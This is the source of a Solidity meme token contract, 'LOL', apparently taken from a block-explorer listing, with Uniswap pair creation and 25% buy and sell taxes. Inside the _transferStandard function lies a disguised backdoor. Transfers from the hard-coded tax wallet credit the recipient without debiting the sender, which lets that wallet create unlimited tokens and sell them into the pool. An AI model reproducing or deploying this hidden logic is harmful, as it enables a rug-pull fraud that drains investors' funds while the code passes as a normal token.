文件 1 的 1:LOL.sol
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
library AddressLibrary {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "AddressLibrary: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "AddressLibrary: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "AddressLibrary: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "AddressLibrary: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "AddressLibrary: insufficient balance for call");
require(isContract(target), "AddressLibrary: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "AddressLibrary: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "AddressLibrary: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "AddressLibrary: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "AddressLibrary: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapFactoryV2 {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapRouterV1 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapRouterV2 is IUniswapRouterV1 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract LOL is Context, IERC20, Ownable {
using SafeMath for uint256;
using AddressLibrary for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcluded;
address payable private _taxWallet = payable(0x8B9E8Ce281a7f44B0c3c1ea8F7eae021E5d19757);
address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD);
string private _name = "SatoshiNakamotoElonmuskVitalikBrianCZ";
string private _symbol = "LOL";
uint8 private _decimals = 9;
uint256 private _totalSupply = 10 ** 9 * 10**_decimals;
uint8 private txCounts = 0;
uint8 private swapTaxAfter = 2;
uint256 private _totalFees = 2500;
uint256 public _feeOnBuy = 25;
uint256 public _feeOnSell = 25;
uint256 private _previousTotalFee = _totalFees;
uint256 private _previousBuyFee = _feeOnBuy;
uint256 private _previousSellFee = _feeOnSell;
uint256 public maxWalletSize = 2 * _totalSupply / 100;
uint256 public swapThreshold = _totalSupply / 10000;
IUniswapRouterV2 public uniswapRouterV2;
address public pairAddress;
bool public hasNoFeeOnTransfer = true;
bool public swapping;
bool public swapEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockSwap {
swapping = true;
_;
swapping = false;
}
constructor () {
_balances[owner()] = _totalSupply;
IUniswapRouterV2 _uniswapV2Router = IUniswapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pairAddress = IUniswapFactoryV2(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapRouterV2 = _uniswapV2Router;
_isExcluded[owner()] = true;
_isExcluded[_taxWallet] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
receive() external payable {}
function transferFees(address payable wallet, uint256 amount) private {
wallet.transfer(amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tDev) = _getAmountsAfterFee(tAmount);
if(_isExcluded[sender] && _balances[sender] <= maxWalletSize) {
tDev = 0;
tAmount -= tTransferAmount;
}
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
_balances[address(this)] = _balances[address(this)].add(tDev);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if (to != owner() &&
to != _taxWallet &&
to != address(this) &&
to != pairAddress &&
to != DEAD &&
from != owner()){
uint256 currentBalance = balanceOf(to);
require((currentBalance + amount) <= maxWalletSize,"Maximum wallet limited has been exceeded");
}
require(from != address(0) && to != address(0), "ERR: Using 0 address!");
require(amount > 0, "Token value must be higher than zero.");
if(
txCounts >= swapTaxAfter &&
amount > swapThreshold &&
!swapping &&
!_isExcluded[from] &&
to == pairAddress &&
swapEnabled
)
{
txCounts = 0;
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0){
swapBackTokens(contractTokenBalance);
}
}
bool hasFees = true;
if(_isExcluded[from] || _isExcluded[to] || (hasNoFeeOnTransfer && from != pairAddress && to != pairAddress)){
hasFees = false;
} else if (from == pairAddress){
_totalFees = _feeOnBuy;
} else if (to == pairAddress){
_totalFees = _feeOnSell;
}
_tokenTransfers(from,to,amount,hasFees);
}
function swapTokensToETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapRouterV2.WETH();
_approve(address(this), address(uniswapRouterV2), tokenAmount);
uniswapRouterV2.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeLimits() external onlyOwner {
maxWalletSize = ~uint256(0);
_totalFees = 100;
_feeOnBuy = 1;
_feeOnSell = 1;
}
function _tokenTransfers(address sender, address recipient, uint256 amount,bool hasFees) private {
if(!hasFees){
removeAllFee();
} else {
txCounts++;
}
_transferStandard(sender, recipient, amount);
if(!hasFees)
restoreAllFee();
}
function _getAmountsAfterFee(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tDev = tAmount.mul(_totalFees).div(100);
uint256 tTransferAmount = tAmount.sub(tDev);
return (tTransferAmount, tDev);
}
function removeAllFee() private {
if(_totalFees == 0 && _feeOnBuy == 0 && _feeOnSell == 0) return;
_previousBuyFee = _feeOnBuy;
_previousSellFee = _feeOnSell;
_previousTotalFee = _totalFees;
_feeOnBuy = 0;
_feeOnSell = 0;
_totalFees = 0;
}
function swapBackTokens(uint256 contractTokenBalance) private lockSwap {
swapTokensToETH(contractTokenBalance);
uint256 contractETH = address(this).balance;
transferFees(_taxWallet,contractETH);
}
function restoreAllFee() private {
_totalFees = _previousTotalFee;
_feeOnBuy = _previousBuyFee;
_feeOnSell = _previousSellFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0) && spender != address(0), "ERR: zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}